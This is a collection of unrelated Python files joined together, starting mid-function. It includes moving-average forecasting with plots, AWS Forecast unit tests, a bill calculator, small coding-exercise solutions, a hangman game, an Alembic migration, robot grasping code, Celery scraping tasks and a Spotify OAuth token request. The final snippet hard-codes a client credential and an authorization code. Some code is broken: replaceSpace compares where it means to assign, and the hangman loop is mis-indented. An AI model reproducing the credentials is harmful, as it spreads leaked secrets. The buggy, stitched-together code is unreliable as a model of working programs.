    return np.mean(np.abs((y_true - y_pred) / y_true)) * 100

RMSE = []
mape = []
# Run from 1 to Nmax to identify best N
for N in range(1, Nmax+1): # N is no. of samples to use to predict the next value
    est_list = get_preds_mov_avg(train_cv, 'c', N, 0, num_train)

    cv.loc[:, 'est' + '_N' + str(N)] = est_list
    RMSE.append(math.sqrt(mean_squared_error(est_list, cv['c'])))
    mape.append(get_mape(cv['c'], est_list))
print('RMSE = ' + str(RMSE))
print('MAPE = ' + str(mape))
#df.head()

# Plot RMSE versus N
plt.figure(figsize=(12, 8), dpi=100)
plt.plot(range(1, Nmax+1), RMSE, 'x-')
plt.grid()
plt.xlabel('N')
plt.ylabel('RMSE')
plt.xlim([0, 21])
plt.xticks([2, 5, 10, 15, 20])
plt.title("RMSE versus N")
plt.show()

# Plot MAPE versus N. Note for MAPE smaller better.
plt.figure(figsize=(12, 8), dpi=80)
plt.plot(range(1, Nmax+1), mape, 'x-')
plt.grid()
plt.xlabel('N')
plt.ylabel('MAPE')
plt.xlim([0, 21])
plt.xticks([2, 5, 10, 15, 20])
plt.title("MAPE versus N")
plt.show()

# View Validation data
ax = train.plot(x='date', y='c', style='b-', grid=True)
ax = cv.plot(x='date', y='c', style='y-', grid=True, ax=ax)
ax = test.plot(x='date', y='c', style='g-', grid=True, ax=ax)
ax = cv.plot(x='date', y='est_N1', style='r-', grid=True, ax=ax)
ax = cv.plot(x='date', y='est_N2', style='m-', grid=True, ax=ax)
ax.legend(['train', 'validation', 'test', 'predictions with N=1', 'predictions with N=2'])
ax.set_xlabel("date")
ax.set_ylabel("LKR")
plt.title("Validation Data Results")
plt.show()

# Set optimum N
N_opt = 1

# On test data
est_list = get_preds_mov_avg(df, 'c', N_opt, 0, num_train+num_cv)
test.loc[:, 'est' + '_N' + str(N_opt)] = est_list
print("RMSE = %0.3f" % math.sqrt(mean_squared_error(est_list, test['c'])))
print("MAPE = %0.3f%%" % get_mape(test['c'], est_list))
test.head()

# On test data
N_opt2 = 2
est_list = get_preds_mov_avg(df, 'c', N_opt2, 0, num_train+num_cv)
test.loc[:, 'est' + '_N' + str(N_opt2)] = est_list
print("RMSE = %0.3f" % math.sqrt(mean_squared_error(est_list, test['c'])))
print("MAPE = %0.3f%%" % get_mape(test['c'], est_list))
test.head()

# View Test Data results for all 3 data sets
ax = train.plot(x='date', y='c', style='b-', grid=True)
ax = cv.plot(x='date', y='c', style='y-', grid=True, ax=ax)
ax = test.plot(x='date', y='c', style='g-', grid=True, ax=ax)
ax = test.plot(x='date', y='est_N{}'.format(N_opt), style='r-', grid=True, ax=ax)
ax = test.plot(x='date', y='est_N{}'.format(N_opt2), style='c-', grid=True, ax=ax)
ax.legend(['train', 'validation', 'test', 'predictions with N_opt={}'.format(N_opt), 'predictions with N_opt={}'.format(N_opt2)])
ax.set_xlabel("date")
ax.set_ylabel("LKR")
plt.title("Test Data Results")
plt.show()

# ZOOM to test data set
ax = train.plot(x='date', y='c', style='bx-', grid=True)
ax = cv.plot(x='date', y='c', style='yx-', grid=True, ax=ax)
ax = test.plot(x='date', y='c', style='gx-', grid=True, ax=ax)
ax = test.plot(x='date', y='est_N{}'.format(N_opt), style='rx-', grid=True, ax=ax)
ax = test.plot(x='date', y='est_N{}'.format(N_opt2), style='cx-', grid=True, ax=ax)
ax.legend(['train', 'validation', 'test', 'predictions with N_opt={}'.format(N_opt), 'predictions with N_opt={}'.format(N_opt2)])
ax.set_xlabel("date")
ax.set_ylabel("LKR")
ax.set_xlim([date(2020, 8, 1), date(2020, 10, 30)])
#ax.set_ylim([100, 140])
ax.set_title('Zoom in to test set')
plt.show()


from datetime import datetime

import boto3
import pytest
from botocore.stub import Stubber
from moto import mock_sts

from shared.Dataset.dataset_file import DatasetFile
from shared.Forecast.forecast import Export
from shared.config import Config
from shared.status import Status

@pytest.fixture
def forecast_stub():
    client = boto3.client("forecast", region_name="us-east-1")
    with Stubber(client) as stubber:
        yield stubber

def test_default_export_status():
    assert Export().status == Status.DOES_NOT_EXIST

@mock_sts
def test_init_forecast(forecast_stub, configuration_data):
    config = Config()
    config.config = configuration_data

    dataset_file = DatasetFile("RetailDemandTNPTS.csv", "some_bucket")
    forecast = config.forecast(
        dataset_file, "RetailDemandTNPTS", predictor_arn="arn:2015-1-1"
    )
    dataset_group = config.dataset_group(dataset_file)

    assert (
        forecast._dataset_group.dataset_group_name == dataset_group.dataset_group_name
    )
    assert forecast._forecast_config == config.config_item(dataset_file, "Forecast")

@mock_sts
def test_forecast_arn(forecast_stub, configuration_data):
    config = Config()
    config.config = configuration_data

    dataset_file = DatasetFile("RetailDemandTNPTS.csv", "some_bucket")
    forecast = config.forecast(
        dataset_file, "RetailDemandTNPTS", predictor_arn="arn:2015-1-1"
    )

    forecast.cli = forecast_stub.client
    forecast_stub.add_response(
        "list_forecasts",
        {
            "Forecasts": [
                {
                    "LastModificationTime": datetime(2015, 1, 1),
                    "ForecastArn": "arn:2015-1-1",
                },
                {
                    "LastModificationTime": datetime(2017, 1, 1),
                    "ForecastArn": "arn:2017-1-1",
                },
            ]
        },
    )

    assert forecast.arn == "arn:2017-1-1"

@mock_sts
def test_forecast_history(forecast_stub, configuration_data):
    config = Config()
    config.config = configuration_data

    dataset_file = DatasetFile("RetailDemandTNPTS.csv", "some_bucket")
    forecast = config.forecast(
        dataset_file, "RetailDemandTNPTS", predictor_arn="arn:2015-1-1"
    )

    forecast.cli = forecast_stub.client
    forecast_stub.add_response(
        "list_forecasts",
        {
            "Forecasts": [
                {
                    "LastModificationTime": datetime(2015, 1, 1),
                    "ForecastArn": "arn:2015-1-1",
                    "Status": "ACTIVE",
                },
                {
                    "LastModificationTime": datetime(2017, 1, 1),
                    "ForecastArn": "arn:2017-1-1",
                    "Status": "CREATE_IN_PROGRESS",
                },
            ]
        },
    )

    history = forecast.history()
    assert history[0].get("LastModificationTime") == datetime(2017, 1, 1)
    assert history[1].get("LastModificationTime") == datetime(2015, 1, 1)

@mock_sts
def test_status_not_yet_created(forecast_stub, configuration_data):
    config = Config()
    config.config = configuration_data

    dataset_file = DatasetFile("RetailDemandTNPTS.csv", "some_bucket")
    forecast = config.forecast(
        dataset_file, "RetailDemandTNPTS", predictor_arn="arn:2015-1-1"
    )

    forecast.cli = forecast_stub.client
    forecast_stub.add_response("list_forecasts", {"Forecasts": []})

    assert forecast.status == Status.DOES_NOT_EXIST
    forecast_stub.assert_no_pending_responses()


n_months = int(input())
water = 0
internet = 0
electricity = 0
others = 0
av = 0
p1, p2, p3 = (0, 0, 0)
for i in range(1, n_months + 1):
    electricity = float(input())
    p1 += electricity
    water = 20
    p2 += water
    internet = 15
    p3 += internet
    others += (electricity + water + internet) * 0.2 + (electricity + water + internet)
av = (p1 + p2 + p3 + others) / n_months
print(f'Electricity: {p1:.2f} lv')
print(f'Water: {p2:.2f} lv')
print(f'Internet: {p3:.2f} lv')
print(f'Other: {others:.2f} lv')
print(f'Average: {av:.2f} lv')


class Solution:
    def replaceSpace(self, s: str) -> str:
        ch = list(s)
        for i in range(len(s)):
            if ch[i] == " ":
                ch[i] == "%20"
        ss = "".join(ch)
        return ss

if __name__ == "__main__":
    s = Solution()
    ss = "We are happy."
    s.replaceSpace(ss)


class Solution(object):
    def plus_one(self, digits):
        """
        Given a non-empty array of digits representing a non-negative integer,
        plus one to the integer.
        :type digits: List[int]
        :rtype: List[int]
        """
        num = ""
        for i in digits:
            num += str(i)
        plus_1 = int(num) + 1
        return list(map(int, str(plus_1)))

digits = [9, 9, 9]
obj = Solution()
result = obj.plus_one(digits)
print(result)


secret = 'framework'
digitadas = []
chances = 4

while True:
     if chances <= 0:
        print('voce perdeu!!!')
        break

     letra = input('digite uma letra: ')

     if len(letra) > 1:
          print('error , tente novamente , digite apenas uma letra')
          continue

     digitadas.append(letra)

     if letra in secret:
         print(f'muito bem , a letra "{letra}"  digitada existe na palavra secreta ')

     else:
        print(f'a letra" {letra}"nao existe na palavra secreta')
        digitadas.pop()

     secret_temp = ''
     for letra_secreta in secret:
        if letra_secreta in digitadas:
            secret_temp += letra_secreta
        else:
             secret_temp += '*'

        if secret_temp == secret:
            print(f'GENIAL, VOCE GANHOU, a palavra era{secret_temp}')
            break
        else:
            print(f'a palavra secreta esta assim {secret_temp}')

        if letra not in secret:
            chances -= 1

        print(f'voce ainda tem {chances}chances')
        print()


"""change text field

Revision ID: ee8bc685d824
Revises: 9b0da34cd0dc
Create Date: 2023-07-18 11:49:04.006166

"""
import sqlalchemy as sa
from alembic import op

# revision identifiers, used by Alembic.
revision = "ee8bc685d824"
down_revision = "9b0da34cd0dc"
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_unique_constraint(None, "posts", ["text"])
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_constraint(None, "posts", type_="unique")
    # ### end Alembic commands ###


from fetch_core.skeleton import Robot_Skeleton
import cv2, os, sys, time, rospy
import numpy as np
DEG_TO_RAD = np.pi / 180
RAD_TO_DEG = 180 / np.pi

VEL = 0.4

def grab_item():
    """Assuming there's an object on the ground a known distance from the
    base_link of the Fetch, we move the end-effector there and grab it.

    Assumes, of course, that the object is reachable. Moves via explicit
    coordinates; we need to know to go this amount in the x direction, etc.

    I always play it safe and go to `pose_0_b` first, THEN `pose_0` (so the
    fetch gripper lowers itself), and so on for poses 1, 2, etc.
    """
    x, y, z             = ( 0.5,  0.0,  0.5)
    rot_x, rot_y, rot_z = ( 0.0, 90.0,  45.0)
    #pose0 = robot.create_grasp_pose(x, y, z, rot_x*DEG_TO_RAD, rot_y*DEG_TO_RAD, rot_z*DEG_TO_RAD)
    #Now we will try to create a pixel to pose grasp (grasp coordinates are pixels)
    #pose0 = robot.gripper.create_grasp_pose(320, 480, 1, 45)
    #Adi: The z coordinate should be fixed to some value that we know we can reach. Then we can just lower the torso to get the right gripper height.
    pose0 = robot.gripper.create_grasp_pose(320, 400, 0.7, 45)
    print(pose0)
    rospy.sleep(1)

    # Our actual target position
    #x, y, z             = ( 0.5,  0.0,  0.23)
    #rot_x, rot_y, rot_z = ( 0.0, 90.0,  45.0)
    #import ipdb; ipdb.set_trace()
    #pose1 = robot.create_grasp_pose(x, y, z, rot_x*DEG_TO_RAD, rot_y*DEG_TO_RAD, rot_z*DEG_TO_RAD)
    #rospy.sleep(1)

    # Move to poses, adjust height as needed.
    robot.move_to_pose(pose0, velocity_factor=VEL)
    rospy.loginfo("Just moved to pose: {}".format(pose0))
    robot.torso.set_height(0.15)
    #robot.move_to_pose(pose1+'_b', velocity_factor=VEL)
    #rospy.loginfo("Just moved to pose: {}_b".format(pose1))
    #robot.move_to_pose(pose1, velocity_factor=VEL)

    # Grip object
    robot.close_gripper(width=0.02)
    rospy.sleep(1)

    # Move back up to the original pose
    #robot.move_to_pose(pose0, velocity_factor=VEL)

#Returns color and depth image
def get_color_and_depth():
    c_img, d_img = robot.get_img_data()
    cv2.imwrite("c_img_0.png", c_img)
    cv2.imwrite("d_img_0.png", d_img)
    return c_img, d_img

#This function needs to be adapted for Fetch
def adjust_grasp_center(self, desired_grasp_center, actual_grasp_center):
        difference_x = desired_grasp_center.pose.position.x - actual_grasp_center.pose.position.x
        difference_y = desired_grasp_center.pose.position.y - actual_grasp_center.pose.position.y
        base_position_map_frame = self.robot.omni_base.get_pose()
        quaternion_matrix = transformations.quaternion_matrix(base_position_map_frame.ori)
        euler_angles = transformations.euler_from_matrix(quaternion_matrix)
        self.move_base(base_position_map_frame.pos.x + difference_x, base_position_map_frame.pos.y + difference_y, euler_angles[2])

def get_frame_origin(self, frame_name):
        pose = geometry_msgs.msg.PoseStamped()
        pose.header.stamp = rospy.Time.now()
        pose.header.frame_id = frame_name
        pose.pose.position.x = 0
        pose.pose.position.y = 0
        pose.pose.position.z = 0
        trans = self.tfBuffer.lookup_transform('map', frame_name, rospy.Time())
        pose_transformed = tf2_geometry_msgs.do_transform_pose(pose, trans)
        return pose_transformed

def img_coords2pose(self, cm, dir_vec, d_img, rot=None, depth=None):
        """
        convert image coordinates to a
        grasp pose
        '''
        Parameters
        ----------
        cm : []
            x, y pixel coordinates of center of mass
        dir_vec : []
            vector of direction to singulate in
        d_img : cv2.img
            depth image from robot
        rot : boolean
            True if singulate, None otherwise
        Returns
        -------
        name of the generated grasp pose
        """
        if depth is not None:
            z = depth
        else:
            z = self.robot.get_depth(cm, d_img)

        if rot is None:
            rot = self.robot.get_rot(dir_vec)

        pose_name = self.robot.create_grasp_pose(cm[1], cm[0], z, rot)
        # time.sleep(2)
        time.sleep(0.1)
        return pose_name

def get_actual_grasp_center(self, grasp_angle_hsr):
        rotation_axis_y = 0.079
        rotation_axis_x = 0.472
        offset_grasp_to_rotational_axis = 0.0115
        x = rotation_axis_x - math.cos(grasp_angle_hsr)*offset_grasp_to_rotational_axis
        y = rotation_axis_y + math.sin(grasp_angle_hsr)*offset_grasp_to_rotational_axis
        pose = geometry_msgs.msg.PoseStamped()
        pose.header.stamp = rospy.Time.now()
        pose.header.frame_id = 'map'
        pose.pose.position.x = x
        pose.pose.position.y = y
        pose.pose.position.z = 0
        return pose

#The 0.32 radians will probably change for the FETCH as well as the out of bounds angle
def transform_dexnet_angle(self, grasp_angle_dexnet):
        # rgbd camera is rotated by 0.32 radian, need to compensate that in angle
        grasp_angle_dexnet -= 0.32
        # rotate angle by 180 degrees if dexnet gives angle out of bound for hsr
        if grasp_angle_dexnet < -1.92:
            grasp_angle_hsr = grasp_angle_dexnet + np.pi
        else:
            grasp_angle_hsr = grasp_angle_dexnet
        return grasp_angle_hsr

def execute_2DOF_grasp(self, grasp_center, grasp_depth_m, grasp_angle_dexnet, grasp_width, grasp_height_offset, d_img, object_label):
        print('Executing decluttering for object in class %i' %(object_label))
        grasp_start = time.time()
        grasp_angle_hsr = self.transform_dexnet_angle(grasp_angle_dexnet)
        actual_grasp_center = self.get_actual_grasp_center(grasp_angle_hsr)
        # use dummy direction because this function needs one as argument
        dir_vec = [0, 1]
        # img_coords2pose exchanges x and y of grasp center, thus having to give them exchanged
        grasp_frame_name = self.img_coords2pose([grasp_center[1], grasp_center[0]], dir_vec, d_img, depth=grasp_depth_m*1000)
        desired_grasp_center = self.get_frame_origin(grasp_frame_name)
        #thread.start_new_thread(self.publish_pose,('desired_grasp_pose',desired_grasp_center))
        #exit_var = raw_input()
        #if exit_var == 'exit':
        #    return
        self.adjust_grasp_center(desired_grasp_center, actual_grasp_center)
        self.go_to_grasp_pose(grasp_angle_hsr)
        z = self.compute_z_value(desired_grasp_center, grasp_height_offset)
        z = self.adjust_z_based_on_grasp_width(z, grasp_width)
        self.robot.whole_body.move_to_joint_positions({'arm_lift_joint': z})
        self.robot.close_gripper()
        self.robot.whole_body.move_to_joint_positions({'arm_lift_joint': z + 0.3})
        grasp_end = time.time()
        print('Grasping took %.2f seconds' %(grasp_end - grasp_start))
        # This sleep is needed because robot otherwise tests too early when object did not drop yet
        time.sleep(0.1)
        #if self.check_if_object_grasped():
        self.go_to_drop_pose()
        self.drop_object()
        #self.drop_object_in_bin(object_label)
        drop_end = time.time()
        print('Dropping into bin took %.2f seconds' %(drop_end - grasp_end))
        self.go_to_start_pose()

if __name__ == "__main__":
    robot = Robot_Skeleton()
    # set torso height high to start to hopefully avoid collisions with base
    robot.body_start_pose(start_height=0.25, end_height=0.25, velocity_factor=VEL)
    robot.head_start_pose(pan=0.0, tilt=45.0)
    #robot.base.turn(0.26)

    #Call camera_to_world stuff here

    rospy.loginfo("Finished robot body and head start poses.")
    robot.close_gripper(width=0.04)
    robot.open_gripper()
    get_color_and_depth()
    grab_item()


"""Celery tasks.

For more information, please see:
- http://docs.celeryproject.org/en/latest/django/first-steps-with-django.html

"""
import logging
import re

import requests
from bs4 import BeautifulSoup
from celery import shared_task
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

from .models import EvidenceSource

logger = logging.getLogger(__name__)

SOURCE_METADATA_RETRY = Retry(
    total=5, backoff_factor=0.1, status_forcelist=[500, 502, 503, 504]
)

@shared_task
def example_task(x, y):  # pragma: no cover
    """Add two numbers together.

    An example for reference.
    """
    return x + y

def parse_metadata(html):
    """Return document metadata from Open Graph, meta, and title tags.

    If title Open Graph property is not set, uses the document title tag. If the description Open Graph property is
    not set, uses the description meta tag.

    For more information, please see:
    - http://ogp.me/
    """
    # adapted from https://github.com/erikriver/opengraph
    metadata = {}
    doc = BeautifulSoup(html, "html.parser")
    tags = doc.html.head.findAll(property=re.compile(r"^og"))
    for tag in tags:
        if tag.has_attr("content"):
            metadata[tag["property"][len("og:") :]] = tag["content"].strip()

    if "title" not in metadata and doc.title:
        metadata["title"] = doc.title.text.strip()

    if "description" not in metadata:
        description_tags = doc.html.head.findAll("meta", attrs={"name": "description"})
        # there should be at most one description tag per document
        if len(description_tags) > 0:
            metadata["description"] = description_tags[0].get("content", "").strip()

    return metadata

@shared_task
def fetch_source_metadata(source_id):
    """Fetch title and description metadata for the given source."""
    source = EvidenceSource.objects.get(id=source_id)
    session = requests.session()
    session.mount("http://", HTTPAdapter(max_retries=SOURCE_METADATA_RETRY))
    session.mount("https://", HTTPAdapter(max_retries=SOURCE_METADATA_RETRY))
    html = session.get(source.source_url)
    metadata = parse_metadata(html.text)
    source.source_title = metadata.get("title", "")
    source.source_description = metadata.get("description", "")
    source.save()


import requests
import uuid
import base64

def randomString(string_length=10):
    """Returns a random string of length string_length."""
    random = str(uuid.uuid4())
    random = random.upper()
    random = random.replace("-", "")
    return random[0:string_length]

data = requests.post("https://accounts.spotify.com/api/token", headers={'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'Basic NmRkMjNmNDJhNmJkNGEyMzlmNWY3ZmYzZjM0NTU4ZTk6OTlhMGI1YWY4NGFlNDQwYWJhMWY5ZDc4ZDkxYzBhNWM='}, data={
                     "grant_type": "authorization_code", "code": "AQDhGLJFHvy4yZcnYjmgwa7XSKMZupV-JuA93lnyUq-CJLeYVAwubonB52zcCdL2CY-X8vqKqV9xEFUhbwPYvn670c8u--E8_2xaeTbkTbo7rV-44pgZVEvSW0CK1Sb2XNBzASZAMI1yl-sUiHp9V8GTHUkxx8YQ1KH2PuuS560djU8", "redirect_uri": "https://scaredgrippingcalculators.ghelanibhavin.repl.co/auth/callback"})